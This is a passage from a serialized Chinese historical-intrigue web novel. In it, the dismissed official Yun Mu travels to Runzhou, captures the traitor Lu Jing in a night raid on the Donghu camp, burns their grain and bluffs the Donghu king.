太监麻利地打开食盒,忍着烫取出药盅,他将食盒举过头顶,道:“方才奴才去取药,趁云大人不备时抓了一把药罐里的药渣,或许能助太医研出药方。” 梁文帝抓紧了手下的锦被,“当真?去宣太医!” 吕梁应了一声,经过那太监身边时,对方颇为得意地看了他。 连同药方被送来的,是云暮被罢官和没收家产的圣旨。 云暮拿着圣旨,冷眼看着侍卫将云府翻了个底朝天。 五个大箱子摆在正厅前,其中四个装的都是书,面前正和她大眼瞪小眼的人依旧是上次来搜府的侍卫长。 “云大人,趁属下还愿意称您一声大人,您直接告知府中余下的家财在何处吧,事情闹大了于你的名声不好。” 云暮轻笑了一声,“名声?我何曾有过这种东西?” “今年西北西南两地战乱,朝廷向百姓补征赋税,百姓家中本就没有多少余粮,可官府并不通融,百姓只好砸锅卖铁凑钱凑粮补齐税款。” 云暮立在廊下,定定看着面前,像是要穿过重重高墙落在远处:“入冬不过两月,京城里外饿死冻死多少人,你知道吗?” 侍卫长日日在宫中,如何能知?就算他知晓,也不会多施舍几眼。在他看来,这些是他们必须受的。否则东胡和西南诸国的铁骑踏入大梁,他们这些手无寸铁的百姓只会死得更惨。 旁边的人就不出声,云暮摇头苦笑,直接揭穿了他:“你不知道,或者说就算知道了,也会装作不知,你这侍卫长,也做到头了。” 侍卫长从布政坊出来,也因此关系,不过三年便从一个无名小卒成了掌管宫中千余名金吾卫的侍卫长,他自认为不比云暮差,却苦苦得不到升迁。 如今还要被云暮如此点评,他恼怒道:“我是做到头了,可你也做到头了。如今我还是侍卫长,而你,很快就连这座宅子都保不下了。” 逞了口舌之快,侍卫长心中很是舒坦,只是云暮那副波澜不惊的模样让他更怒了。 他冷声道:“请吧,云大人。” 云暮指着装着书的木箱道;“这些书,我要带走。” 侍卫长自以为拿捏住了云暮,他道:“书也是家产的一部分,岂是你想带走就带走的?” “书可自行带走。” “我看谁敢!” 侍卫长喝了一声,转头一看,发现是沈聿明,当即躬身行礼。 “属下不知是王爷,多有冒犯,望王爷恕罪。” 沈聿明掠过他直接朝云暮走去,“昔日本王承云大人的恩尚得平安抵京,又得云大人相助,在京中有落脚之地,云大人若不嫌弃,可搬回那处宅子。” 云暮拒绝了他:“多谢王爷好意,就不劳烦王爷了,王爷还是离小人远些,免得无辜受牵连。” 沈聿明看向侍卫长,道:“你还要将里头的东西一一搜查吗?” 第二百六十二章 前往润州 “你搬去从前的云府,岂不是更惹眼?” 云暮对此倒是无所谓,“名下的家产皆被收了去,我一个无处容身的可怜人住进师父多年前购买的宅邸也无可厚非。” “我再将那做宅邸过回你名下。”沈聿明当即就要叫文竹调头去京兆尹。 云暮按住他,“不可,即便他们怀疑,也没有证据,奈不了我何。眼下重要的是润州和西南的战事。朝廷迟迟不拨粮,那些粮撑不了多久。” 云暮忽然有了一个想法:“不若我送粮草去润州如何?” 沈聿明立即道:“不如何,本王不允,军粮自有人押送,用不上你。” 云暮越想越觉得此计可行,她前几日便用这些年积攒下来的银钱买了许多粮,又以赈灾的名义尽数捐了出去,灾民那边吃不完,不若让她送往润州。 梁文帝死期将近,保不齐有人想要将罪名扣在她头上,倒是她只需要一个战死沙场的名头就能金蝉脱壳。 沈聿明不知她的意图,若是知晓,更是不肯放人,他晃着云暮的手道:“今儿被父皇骂了,他们都欺负我,你就留在京中帮帮我吧,我能护你无虞。” 他的话真假参半,若不是云暮知晓他对朝堂的掌控,差点就要信了,可也知沈聿明不会轻易让她离京,她只好假意应下。 云暮早知有今日这一遭,早早就命人将房子收拾出来了,匾额上的“入云居”三个大字是云暮亲自题的。 头一次拿出了当年辛百草让她捎进京的文书,不想竟掉出了一封信。 “小暮,你还是走到了这一步,朝廷容不下你,就回江南吧,师父在江南给你建一座一模一样的宅子。” 云暮抚着文书上的辛百草三字,有些出神。 师父将这座宅子赠予她作为生日贺礼,却不肯过到她名下,起初她只当辛百草怕惹人生疑,今日才算明白了他的苦心。原来,他早就料到这一步了。 昨夜又收到了满满一罐的赤焰虫,云暮心里越发认定是她师父所为。师父作为神医,偶尔只需一眼,就能知晓对方得了何病。 那段时日,她不仅通体生寒,还让师父和她一道研制药物,虽名义上是为了调查京中百姓爆体而亡之事,但所用药材皆不同。 或许在那个时候,师父就已经起了疑心。西南一直没有辛百草的消息,她心中焦虑万分,还给俞白写了好几封信,然对方只回了两次,回回都是只有四个字:并无消息。 她知对方行军事急,鲜少打扰,但还是有些生气。她的人在长平侯府替他提心吊胆地扮着世子,他却全然忘了应承她的事。 而这两次送来的赤焰虫总算安了她的心。 一连三日,沈聿明日日都来入云居寻她,见她再无出走的想法,终于安心对付七皇子一党。 这日,一缕金光划过昏暗的云层,洒在宫中那一排排明黄色的砖瓦上,刺得人眯起双目。 沈聿明下马车时趔趄了一下,想到云暮安然的睡颜,他压下了心中的不安。 几乎是沈聿明才出了入云居的门,云暮就已经梳洗完毕。算着他到皇宫的时间,云暮就动身前往城门。 她的人已经带着粮草在十里外侯着了,云暮回望了一眼皇宫的方向,在心中对沈聿明说了句对不住后,手中马鞭一扬,朝润州的方向飞驰。 这两日朝中事多,七皇子屡次想在沈聿明身边安插探子,又想从他手里夺人。 得知云暮被罢官后,当日云将军长云将军短的人恨不得和她一刀两断,可谓是凉薄,这样的人如何能服众? 梁文帝没多久就该殡天,她不准吕梁再给梁文帝下药,又找好了替死鬼,梁文帝还能撑到她抵达润州,是以云暮并不担心沈聿明。 等对方去了入云居,发现里头空无一人,即便是想将她捉回京城也绝非易事。 沈聿明下了朝匆匆往入云居赶,他的心慌了一早上,还差点被七皇子的话绕了进去,没能亲眼看到云暮在,他始终不放心。 “王爷,好像有些不对。” 沈聿明猛然掀开车帘。搬来此处后,云暮遣了一批小厮,但门房依旧留着,眼下入云居大门紧闭,门房亦不知所踪。 没等马车停稳,沈聿明已经跳下了马车,面前便是人来人往的街巷,此刻他顾不上什么避不避嫌的,用尽全身的力气拍打着门,“来人,开门。” 无人应答,门后甚至连脚步声都没有响起,沈聿明心中的不安越发大,他抽出文竹腰间的剑,插入门缝,手腕上抬。 门栓落地,大门被其从外踹开。 沈聿明大步地朝正厅走去,空无一人,紧接着越过游廊,进了后院,依旧是没人。 卧房里,今早还笑着哄他说会等他归家一道用午膳的人已经没了影,床上空荡荡的,甚至连锦被都被收了起来。 她怎么能一次次骗他?她怎么忍心骗他? 沈聿明双目变得通红,他紧紧攥着拳头,吩咐文竹:“你带人去追,务必把人带回来。” 带回来,锁在王府,让谁都找不到。 云暮一天都没敢停,运着粮草的车子走得太慢,她不敢等,就只带了砚石先行前往润州,将他们甩了好长一段路。 直至城门大关,云暮终于舒了一口气,带着砚石连夜往下一个城镇赶去。 “再忍两日,等沈聿明的人赶不上后,再歇久一些。” “是。” 砚石爱莫能助地回望了一眼,他虽有心想知会沈聿明,但这事关他家大人的命,他不敢亦不会将大人的行踪告知。 原本计划半个月的路程,两人只用了十日便到了。 抵达润州那日,云暮并未见到余炳仁,粮草未到,她亦不着急。 润州和京城相隔甚远,润州的百姓虽也听说过她的恶名,也见过她的“画像”,任谁也想不到面前这个面带沧桑的清秀小生竟会是那个青面獠牙的云暮。 她掏出一锭银子,“两间上房,再送两份饭菜。” 润州大乱后,人人都恨不得逃离,已经鲜少有人住客栈了,小二乐呵呵地把人往楼上引。 “客官,这边请。” “掌柜的,住店。” 第二百六十三章 不干了,回江南 云暮在润州住了三日,这才给余炳仁去了一封信,当日傍晚,余炳仁就出现在了客栈。 “云将军,您怎么来了,可是皇上有要事吩咐?” 云暮给他倒了杯茶,道:“余将军,不用紧张,如今云某不过一介布衣,当不起你的这声将军。” “这……” 京中的消息还未传到润州,余炳仁自是不知,他拿茶杯的动作顿了一下。 云暮端起茶杯,与余炳仁的轻轻一碰,赔罪道:“粮草一事,是云某失察,差点害了润州的将士。” 此事并非云暮所为,余炳仁哪会怪罪到他头上,他道:“此事乃奸佞小人所为,与将军无关,只是不只皇上如何处置他们?” 云暮道:“裴然约莫是能保下一命,但也不会官复原职。” 当日捉拿胡人,便是得了余炳仁的帮助,他自然知晓裴然及其背后的人才知真正和东胡勾结的真凶。 闻言,他怒不可遏:“人物证确凿,皇上为何还要保他?若不是手底下的人察觉不对,润州早就没了,皇上糊涂啊!” 私库一事被掩得很好,账册也全被烧个精光,梁文帝本想将裴然一起处死,但那日裴然年迈的老父亲进了一趟宫,再出来,梁文帝就改了口。 命是保下了,然多年的家产被抄了个精光。 她离京时,裴然尚在狱中,如今是何情形她就不得而知了。 余炳仁长叹了一声,胡乱揉了一把脸。 云暮不知该如何安慰,只抬手在他肩上拍了拍:“虽抄了云府和裴府,但却没抄出多少东西。” 一个皇帝宠臣,一个户部尚书,家里没抄出多少东西简直是天方夜谭。 云暮继续道:“被罢官前,我将云暮的家财都散了,购了一批粮,以赠予的名义捐给了京外无食过冬的百姓,过几日也会有一批粮抵达润州。” “西南西北战事吃紧,国库撑不了多久,得速战速决。” 余炳仁的不以为意转为了凝重,他当即就要单膝跪在地上谢过云暮。 “多谢云将军。” 云暮忙把人拦住,“都是为了大梁,那些银钱与其近来他们的口袋,不如花在刀刃上。” “云某不通战事,但杀人也还算利落,余将军若是不嫌弃,不如将我收入麾下。” 送粮送情报,余炳仁还当云暮想立军功,重回朝堂,但他着实不愿太监再掌权,只能一脸为难地看向云暮。 云暮道:“余将军,我并非让你予我官职,只是让你出城迎敌之时准我跟在队伍中即可,我要去东胡寻一人。” 什么人能让他不远千里从京城来到润州?还给了这么多粮作敲门砖,余炳仁好奇道:“不知将军要寻何人?您只需给幅画像,我派人找。” 云暮道:“一个故人罢了,余将军可否允了我?我出城之后,是生是死都与将军无关。” 话都这般说了,余炳仁哪儿还有不应的道理,他道:“此事不难,只是东胡这几日安分得很,不再主动来犯。” 现下安分,想来不久就会又更大的动作。云暮提醒道:“余将军,这几日还是警醒些为好。” 蓄势待发的道理余炳仁如何不懂他应了一声,“多谢云将军提醒。” 又七日。 押送粮草的人终于抵达润州,云暮也将润州的情况摸得一清二楚。 这些日子,东胡只偶尔在夜半时前来突袭,但不过小半个时辰又退了回去,如此反复,润州城的将士身心俱疲,却又不得不应战。 云暮立在城墙上,借着漫天火光在人群中搜寻,却始终没有找到卢靖。 此刻的东胡营帐内,卢靖正和东胡王他们商量东征事宜,不时传来几句笑声。 “夜半突袭,打得他们措手不及,不迎战,我们能直取润州,迎战又只会损耗他们的兵器和精力,你们大梁人还真是狡诈。” 身为“大梁人”的卢靖闻言也不过是微微一笑,并未出言反驳。 “何时才能拿下润州?我们快等不及了,这些天快把老子憋死了。” 说话的人是东胡王麾下的一名猛将,名唤卓哈伦,好虐杀大梁的将士和百姓。俘虏回来的人里,十个里有九个死在他手上,卢靖最厌恶的就是这种人。 他淡淡瞥了几人一眼,道:“快了,等太子的信传来,我们就动手。” 卓哈伦又笑了,“还太子呢,他的太子之位早就没了,你们大梁人还真是可笑。” 他不喜卢靖,只因卢靖来了之后,便叫他们佯装败退,如今还不许他们进攻润州,他手中的阔刀很久没有饮过人血,已经渴得直抗议了。 一个半时辰后,那些前去骚扰润州的人回来了,卢靖也没了和他们交谈的欲望。若不是太子失势,他绝对不会与东胡有来往。 “公子。” 卢靖道:“何事?” “他来了。” 卢靖身上的冷意顿时消了,他往侍从的身后看去,又理了理被风吹乱的发丝和衣袍,脊背挺得很直。 “人呢?” 侍从的头更低了,“他并未出城迎战,属下是在墙下见的,绝对不会认错。” 卢靖蓦地松了一口气,他抚上心口,往里摁了摁,纸张传来微微响动。 营帐里,卢靖看着铜镜里那张瘦得突出颧骨的脸,眼中闪过一丝忐忑。东胡的饭菜他吃不惯,每每只是吃几口便停了,久而久之,人越发清瘦。 从前那张脸还能与那沈聿明一较高下,如今…… 他忽然道:“自明日起,多取些吃食来。” “是。” “去替我送封信。” 天色未明,东胡再次来犯,云暮艰难地从床上爬起,再回来时,紧闭的房门中间夹了一封信。 “大人,属下来。” “不用,他可不敢对我下毒。” 砚石揶揄地看了他一眼,道:“属下懂,属下懂。” 云暮看都没看一眼,直接将信丢进火盆,道:“想哪去了,这是卢靖派人送来的。润州城有东胡的探子啊。” 信很快就只剩下灰烬,砚石问道:“大人,您不看看吗?若是里头有东胡的消息也说不定。” 第二百六十四章 擒卢靖 一连两日,云暮的房门上都夹着一封信,她没有声张,只命她的人暗中蹲守。那日之后,便没再有信传来了。 云暮顿感没意思,她翻看着今日的信,发现竟无一封是沈聿明送来的。 她问道:“沈聿明当真没有信送来?” 她到润州那日,就派人给沈聿明送了封信,之后每隔两天便送一封信,但从未收到来信,也从未在润州见过沈聿明的人。 她不免有些生气,即便是她先偷偷来了润州不对,但她也算是为了他而来。 卢靖一日找不到,梁今越这个炸药就一日有被引爆的风险。他不领情就算了,竟还生她的气,当真不可理喻。 云暮将笔掷在桌上,“不干了,收拾东西,随我回江南,就让东胡的铁骑和梁今越暗中联手,杀他个措手不及。” 砚石如何不知他在说气话,忙给他顺毛,道:“大人,京中事务繁忙,王爷回不及也是正常,许是今日就有信来呢,不若我们再等等?” “我便不忙了?” 虽说她如今无官职在身,确实挺清闲,但她也是有事要做。 砚石顺着他的话道:“大人日夜操劳,王爷着实是浪费了您的一片苦心……” 云暮的心情终于好上了几分,她吩咐道:“你去找几个人,今夜随我一道潜进东胡的营帐,将那卢靖揪出来。” 这…… 人生地不熟的,胡语还说得不算利索,他们也只摸清了营帐的大概位置,况且东胡已经一连三日没有来犯了,今夜潜进去不是自寻死路? “大人,这如何使得?”砚石将他的担忧说出。 云暮哪还管得了这么多,按照她的推算,梁文帝大限将至,五日内必定殡天。她这两日必得找到卢靖,怀了他们的计划。 她笃定道:“今夜他们必定会来,你且让人守着,抓住那个探子。” 冬日塞北的天色比京城暗慢,到了酉时才慢慢暗下。 云暮换上东胡的衣服,临出门前,才察觉到她的手心微微冒汗,心跳的速度也比往常快了不少。 她叮嘱道:“跟紧我,莫要掉队。” 她打定主意要潜进东胡时,便开始教他们学胡语。 只是时间太短,胡语又拗口难学,他们也不过只学到些皮毛,几个人里,也就砚石说得有模有样。 若是掉队被人发现,一开口就暴露了,到时才是真正的死路一条。 云暮在城墙上等了许久,终于看见远方火光起,她抓住麻绳,从墙上一跃而下,十人趁着夜色从另一头偷偷摸进东胡的营帐。 东胡被驱到西北往上后,不管是何身份,大多时候都是住在营帐中。营帐太多,若想从中寻到卢靖的营帐,不是易事。 云暮几人已经来到卢靖营帐附近,她手心拢着折子的火光,扫了一眼地图,对着那个被朱笔圈住的营帐道:“再说一次今夜的计划。” “照着胡人的口供,卢靖单独一人住在此处,周围四角各有一个守卫。” 卢靖不喜胡人,但他怕有人突袭,于是挑了还算靠中的营帐。 云暮吹灭了火折子,指着不远处的角落道:“你们二人藏在乱石中,用火箭射向这几个营帐,把人引过去,之后就绕道回润州。” “是。” 云暮又点了三个人,道:“这几个守卫会有动作,但绝不会离开,你们将人杀了,藏到一旁的营帐里,砚石带余下之人接替他们的位置。” “记住,我尚能自保,且有谈判的筹码,你们遇到情况不对就先行撤离。” 她听闻东胡有一人好杀戮,只要是大梁人,落到他手里定讨不了好,她身上带了不少毒药助她脱身,且还有卢靖这人可以利用。 火光乍起,果真把胡人都引了过去。 东胡的粮一是靠抢,二是裴然他们低价卖的,左右是拿不回来,云暮便指使他们烧了放粮草的营帐。 几个守在卢靖营帐四周的胡人急得团团转,想着眼下卢靖不在营帐,守在此处也并无用处,才要过去一同灭火,长剑无声无息地横在了他们的脖颈上。 云暮踏进卢靖营帐的那一刻,一股淡香钻进她的鼻子,云暮下意识屏气,往外撤了半步。 砚石见状,警惕地抽出剑:“大人,怎么了?” “有异香。” “他知道我们要来?” 砚石便想着进去一探,云暮抬手拦住了他,耸着鼻子闻了闻,发现只是花香,便再次走了进去。 她心中不免有些纳闷:从前只知卢靖爱拈花惹草,他竟还喜欢在房中摆花草?只是这冬日的西北,哪儿有花可采? 粮草被烧,东胡果然大乱,卢靖从东胡王的营帐出来,往前走了几步不知想到什么,又转而朝他的营帐走去。 守在营帐四周的守卫有些眼生,卢靖压下激动,用着胡语问了一句:“从前怎么没见过你们?” 守卫垂头照着云暮教的话说道:“卢公子贵人多忘事,小人几日前才来此处当过值。” 卢靖“哦”了一声,撩开帐门走了进去,一把匕首抵在了他的脖上。 “卢公子,许久不见,别来无恙。” 卢靖深吸了一口气,心里浮上满足,他往身后靠了靠,贴近了云暮,下一瞬,脖颈传来痛意,血腥味弥漫在这个不算大的营帐。 “云大人,不对,云暮,我打听的消息没错的话,你现在已无官职在身。” 云暮收回匕首,将他的双手拧到身后,一手捂住他的嘴:“你的消息倒是灵通。” “砚石。” 一直顺从的卢靖忽然反抗,云暮毫不留情地踹向他的膝盖窝,将人压在地上,朝他耳朵轻轻吹了一口气,道:“别动,你不就是想要我这么对你吗?” 卢靖整个人都在发抖,听话地没有再动。 营帐外的声音越发大,还伴着刀剑相击的声音。 砚石将人捆好,云暮从袖中掏出帕子,亲自塞进卢靖口中,在他的脑后打了一个死结,又拍了拍卢靖的脸,夸了一句:“真乖。” “把人扛回去。” 第二百六十五章 火烧粮草 沈聿明捏着信反复看,面上虽冷,但他心里却恨不得云暮日日派人送信回来。 那日他的人追上了云暮派去押送粮草的人,但却没看见云暮,问那些人,他们也只是道云暮已经先行去了润州,但给沈聿明留了一封信。 沈聿明看完之后,才终于唤回那几个依旧追着云暮的手下,但他始终没有回信。 故意晾了云暮几日,好叫她知道他还心里还怨着。但今日再也忍不住了,提笔写下回信,封好后将其交给文竹,“派我们的人送去,往后就留在润州保护她。” 云暮带去的人大多是从前云府的小厮,在天子脚下,还能护住一二,但在润州那等战乱之地,他们怕是抵挡不住,还能及时传回云暮的信息,人多些总归没坏处 “梁今越那头有什么动静?” 文竹答道:没有,只有崔五小姐偶尔会给他送去一些吃食,我们的人看过了,没有什么异常。” 梁文帝病情加重,沈聿明不信他一点想法都没有。有些事情崔浩和他那几个好儿子不便出面,于是让崔苒带情报而来也说不定。 他道:“把崔苒这几日送去的吃食给孤列一个单子。”食物没问题,那问题就出在菜上。 …… 东胡营帐忽然被烧,前来挑衅的胡人惦记着回去,手下的动作慢了几拍,节节败退,余炳仁打定主意,决定乘胜追击,但被副将拦住了。 “将军,兵不厌诈,或许他们是在诈我们出城呢。” 两军的营帐隔得极远,即便如此,火光依旧能照出那些个正在救火的黑点。 余炳仁咬咬牙,坚决道:“机不可失,即便是陷阱我也认了,我若出事,润州就交给你了。” 说罢,余炳仁带着人出了城。 东胡粮草被烧的消息终于传到了润州附近之地,前来诱润州守卫的胡人还当着一切皆是余炳仁的调虎离山之计。 “好你个狗贼,竟暗中派人去烧了我们的粮草。” 胡人异常愤怒,胡语一连串地吐出来,快到余炳仁听不大清,只听见他们叽里呱啦说了一长段的话便拔刀砍了上来。 余炳仁也抽出剑迎了上去。 这头正打得火热,云暮这头却格外冷清,今夜的偷袭意外的顺利,倒是叫她有些不敢相信,回去的路上警惕了不少,偶见几个胡人埋伏在路边,但也都被她的人杀了个精光。 依旧是方才下去的城墙,多了一个“行动不便”之人,他们上来的功夫要比去前难上不少。 双脚安稳地落在城墙上时,云暮终于舒了一口气。回到客栈后,云暮发现门上依旧插着一封信。 她看向卢靖,问道:“你派人送来的?” 卢靖不知道是何人所写,但心里只有一个想法,那便是不让云暮看见里面的内容。 他道:“是我的人送来又如何?” 云暮嫌恶地瞥了一眼信,将其丢弃在地上,抬脚欲踩下之时,她忽而看见一个熟悉的字迹。 她弯下腰捡起,掸了掸上头的灰尘,抽出里头的信,只一眼她便认出是沈聿明的字迹 她看也没看卢靖一眼,只道:“先把人关好,无论是谁来寻人,都务必要确认好他们的身份。” “是。” 云暮抓着信匆匆回到她的房间。卢靖想来不愿开口,否则怎会宁愿到了现在还一言不发。 与其将时间耗在他身上,倒不如先看看京城那边有什么情况。 沈聿明足足写了三张纸,她一目十行看完,心知不能再耗下去了,当即去隔壁审卢靖。 人多,卢靖怎么都不肯开口,云暮只得让他们都先出去,砚石一步三回头,警告地看向卢靖。 “能说了吗?” 卢靖道:“这局我布了这么久,就这么轻易说了,我能有什么好处?” 云暮拖了张椅子坐在他面前,手中的马鞭有一下没一下的甩着,几次都落在卢靖身边,不时抽到他堆在地上的衣摆。 “你与胡人勾结,和梁今越这个罪人里应外合,不管哪件都足够让你人头落地,你若是从实招来,算是有功,我可不将你交给余炳仁。” 卢靖吃吃地笑出声,“云暮,你还当我是从前的那个傻子吗?况且,你不过是一个普通人,如何保我?” 曾经几次三番坑过面前的人,云暮面上不见丝毫尴尬,她道:“今时虽不同往日,但你的命,我还是能说了算的。” “就算你不说也无所谓,存放粮草的营帐我能烧一次,就能烧第二次。他们若是换了位置,那便一个一个烧过去,杀他们一个片甲不留。” 卢靖冷不丁被云暮抽了一鞭子,只听见她冷冷道:“说话,你招还是不招?” 被鞭子抽过的地方火辣辣地疼,卢靖见了这样的云暮,下意识就要开口,但在最后关头,又闭上了嘴。 云暮撇撇嘴,忍着恶心又抽了几鞭,末了她用脚尖抬起卢靖的脸,“欠了你的也还了,卢靖,你当真什么不愿说吗?” …… 云暮带人出现在城墙上时,余炳仁正在城门点兵,胡人溃逃,他欲追至他们的老巢。她思虑了片刻,还是决定同余炳仁一道出城。 上马之前,她从腰间的布袋里倒出了两粒药丸,又摸了摸里头的东西,确保无误后,她低声吩咐砚石:“等会儿记得演得逼真些,莫要让人来碰‘我’的脸。” 砚石本就爱玩,平日里有砚清管着,砚清不在后他得挑起大梁,将急躁的性子压下,今夜总算有能让他大施拳脚的地方了。 “大人放心,属下一定完成任务。” 余炳仁甩着五千人在夜色的遮掩下,急速地往胡人的营帐而去。 冬日的北地本就缺水,粮草又干,营帐挨得还近,云暮他们到时,火并未完全灭尽。 云暮拿出随身带着的松油,决定再给他们添些火。 而这一次的胡人比起之前警惕了不少,粮草周围守了不少人。几乎是云暮才搭弓拉箭,就被人发觉了。 “在那儿!快把人抓住!” 第二百六十六章 糊弄 云暮闭起一只眼,手上的力道一松,一支火箭朝被救出的粮草而去,紧接着是第二支,第三支…… 一朝得手,云暮迅速带人撤退。她研究了好几日,又画了不少图纸,然此处毕竟是胡人的居所,他们不免落入了胡人的圈套,被胡人团团围在中间。 云暮的武艺甚好,但胡人胜在人多,车轮战都能将他们耗死。 寻到一条生路,云暮为了拖住胡人,不再抵抗,她掏出腰牌,用流利的胡语说了一句:“拿它去见你们的阿吉泰,就说大梁云暮前来商谈合作。” 此人烧了粮草,还大言不惭地说要合作,胡人哪敢信他?但玉牌的质地不似寻常人能买得起,一身锦缎和披风亦衬得他贵气非凡。 见他们尚在犹豫,云暮催促道:“耽误了大事,你们可担得起?” 终于有人拿着玉佩走了,云暮气定神闲倚在营帐上,手上不停地在转着一把镶满宝石的匕首。 这些人不过是小喽啰,不识得云暮,但却认得这把匕首。 “匕首,你从何处得来?” 云暮翻着腕子,“你说这个?自然是你们的人送予我的,否则我怎会得到。” 见了匕首,这些人已经信了大半。 “哟,这不是云将军吗,怎么肯屈尊来我们这等穷山恶水之地?” 阿吉泰听到云暮来了,起初还当是有人冒充,如今见了云暮,没忍住开口讥讽。 此前万寿节,他作为使臣的一员,在梁文帝身边见过云暮几次,对这个能掌权的阉人很是佩服,只是他们多次示好,对方并不接招,此前在涿州还杀了不少他们的人。阿吉泰如今对他并无太多好感。 云暮将匕首插回刀鞘,淡笑道:“想必你们也听说京城的消息了吧?今日我来,是为了寻合作,并未与你们为敌。” 阿吉泰指着那有还在燃烧的粮草,怒道:“这就是云将军合作的诚意?” 云暮面上没有半分愧疚,反而指责阿吉泰他们:“是你们先招惹我的,没浇上油烧完已经是我宽宏大量了。你们联合裴然欲将我害死,我如今不过是烧了你们从我手里抢去的粮,何错之有?” 她旋即冷笑了一声,“若非你们横插一手,我还在京中好好当着我的上将军。如今我被罢官,家财也都被抄没,而裴然却还活得好好的,我自然是要来和你们讨要说法。” 阿吉泰知道事情的始末,被云暮这一通指责,他一时不知该如何辩驳,良久才干巴巴地说道:“成王败寇,不外如是。” 云暮笑得格外残忍,“是啊,成王败寇,所以我得让裴然一家都付出代价,这是你们欠我的。” 明明被困的是他,却还敢对他们指手画脚,阿吉泰从未见过如此厚颜无耻之徒,他抬手一扬,“把人捆了,带去王的营帐里。” 云暮挣开那些人的束缚,嫌恶地拍了拍被他们碰过的地方,“我自己会走。” 一路上,她不停在挖苦阿吉泰,“你们胡人的脑子当真与蠢得可以,明明同你们血脉相连的是秦王,他如今在朝中只手遮天,你们居然舍近求远,去选那个不见天日的废物梁今越,活该你们一辈子都待在这种鬼地方。” …… 云暮仗着只有阿吉泰能听懂大梁话,毫不留情地戳着他们的痛处,饶是阿吉泰脾气再好,此刻也有些不满。 “云将军既然心不诚,这合作还是免了吧,即便你有信物,亦是无用。” 云暮什么场面没见过?从前在梁文帝面前不过是做做样子罢了,若不是碍于对方的身份,她连演都不想演,阿吉泰又是个什么东西? “倘若我说我能给你们粮食,还能助你们畅通无阻地攻入京城呢?若是都不想要,那云某这就告辞。” 说罢,拨开围着她的人就要离去,身后又是兵器的铮铮声,“云将军,到了我们的地盘,是你说走就能走的吗?”他半胁迫地把人带到东胡王的营帐。 几人用胡语交谈了一番,不过是说些她的事,云暮没多大的兴趣,转着双目打量着周遭的布局。 不过是帐布所搭建成的营帐,里头却摆了不少玉器和瓷器,个个样式精美,只是与这简陋的营帐不甚搭配。 “云将军,王上问你话呢。” 云暮这才回过神,毫不心虚地说道:“王上这营帐比起大梁皇帝的皇宫有过之而无不及,让云某惊叹不已,一时竟忘了王上所问何事。” 虽说入乡随俗,但云暮却仍是以大梁官话应付,阿吉泰无法,只能在一旁译给东胡王。 这话把东胡王逗得哈哈大笑,“此话当真?” 云暮道:“大梁南北遇敌,国库空虚,四处都凑不到银子,只好以身作则,将勤政殿里的那些物什都卖了,如今里头除了书,便再也没有旁的东西了。” 她说的人远在千里之外的京城,胡人又不曾亲眼见过,还不是任由她乱说? 这话让东胡王更满意了,不过一个小小的润州,就能让大梁如此紧张,两天后他们将挥师东进,不知大梁的官员会急成什么样,他全然忘了外头正在厮杀。 “若是发大梁人都像你们两个一样识时务,该有多好。” 云暮好奇道:“你们?可是东胡还有我的故人?他乡遇故知乃人生乐事之一不知王上可否传他来一见?” 阿吉泰瞪了云暮一眼,方才他还在挑衅,如今却又装作不知,他当真无耻。 东胡王不知其中的弯弯绕绕,派人去叫卢靖,“也不知他今夜去了何处,等会儿来你可得好好劝他,本王也想早日夺回失去的故土。” 云暮此举不过是拖延时间,当下自然一口应下,她又问道:“早年前就听闻王上身边有一猛将,可抵万师,云某平日里喜爱和人切磋,不知他可在此处?” 东胡王这才想起今夜有敌人来袭,但他丝毫不慌,反而开始和云暮讨价还价,“此事暂且不提,今夜我们的损失,云将军该如何赔偿?” 第二百六十七章 捉弄 和余炳仁不同,云暮是被东胡人毕恭毕敬送至润州附近的,连同着砚石几人也一道安全送了回来。 几人面面相觑,云暮遗憾地抚向腰间的布袋,今夜本想假死脱身,没想没死成也就罢了,还谈成了一桩“合作。” 因着云暮拖延时间的关系,余炳仁将东胡搅成一锅乱粥,两日后想要东进是绝对不可能的。 云暮回到房中,只见卢靖蜷缩在地上,房中未点炭盆,他穿得单薄,还被她抽了一顿鞭子,呼吸逐渐变得微弱。 云暮劈断缚着他的绳,将一瓶药丢在他身上,“方才我又回去了一趟,你猜猜我都做了什么?” 卢靖并不好奇此事,他只问道:“东胡王性情不定,他没有为难你吧?” 云暮撇了撇嘴,“你看着我像有事的样子吗?” 她将人拎到桌后,将纸笔塞进他手中:“我念,你写,然后给梁今越送去。” 卢靖没有动作,“我为何要听你的?三日内收不到我的信,太子便知我已出事,到时会将证据都毁个干净。” “没有证据,你们该如何治他的罪?” 云暮担心的并非此事。今夜夜闯东胡军营,东胡王说漏了嘴,如今大梁境内不止梁今越一人与他们勾结,甚至于在各个关口都有他们的人。 若是不将这些人揪出,大梁危矣。 云暮将卢靖推坐在椅子上,捏起对方的下颌,缓缓凑近他,“你想要什么?梁今越能给的,我能给,梁今越给不了你的,我也能给。” 云暮离卢靖极近,近到卢靖能看清他脸上的小绒毛,他喉咙滚动了两下。 云暮微微勾唇,摁住卢靖身上的鞭痕,使劲往下压,血才止住没多久的伤口再次撕裂。 她语带蛊惑:“只要你说了,你想要的我都会给你。” “当真?” 卢靖低声说了几句,云暮嫌恶地收回手,把砚石叫了进来,“将人带走,留着还有用,别叫他死了。” 卢靖双目死死地盯着云暮,自信道:“就算你们今夜突袭,但计划不可变,两日后,不管你们怎么抵抗,都挡不住他们。” 云暮道:“拖下去。” 城内外有人勾结,还不止润州,偏生他们还找不到人,云暮开始怀疑这些话是否为真。 只是梁今越当了二十余年的太子,手中有些筹码也是正常,她不敢拿大梁百姓的命来做赌注。 “余将军,你有何打算?” 卢靖提的要求算不上过分,可她却不愿如此,再者她无官职在身,不若将这问题抛给余炳仁。 事关重大,余炳仁下意识便要叫来几个副官。云暮将人拦下:“若是叛徒就出在这几个人之中呢?” 能与胡人里应外合,让他们入润州如入无人之境,想必官职不低。 几个副将中,有两个是镇北侯的手下,余炳仁怎会怀疑他们? “绝对不可能。” 东胡曾经害死他们的侯爷。这么多年来,这几个副将和他一样,都被朝廷的人排挤,对梁文帝可谓是恨之入骨。若真和梁今越共议谋反之事,怎会久久不得升迁?云暮却道:“镇北侯已经死了这么多年,不是谁都能像将军一般,一心为镇北侯翻案。” 几十年的兄弟情,余炳仁始终不肯相信,他看向门口:“你的这番话,本将军今夜全当没听见,也希望你莫要搅乱了将士们的心。” 云暮几欲气笑,她言尽于此,余炳仁爱信不信,她如今能做的也都做了,出了事也算不到她头上。 她不知道的是,她前脚才走,后脚余炳仁就叫来了那几个副将,将云暮的话复述了一遍。 几人除去起初听到城中有东胡内应时的惊讶,很快又恢复了正常。 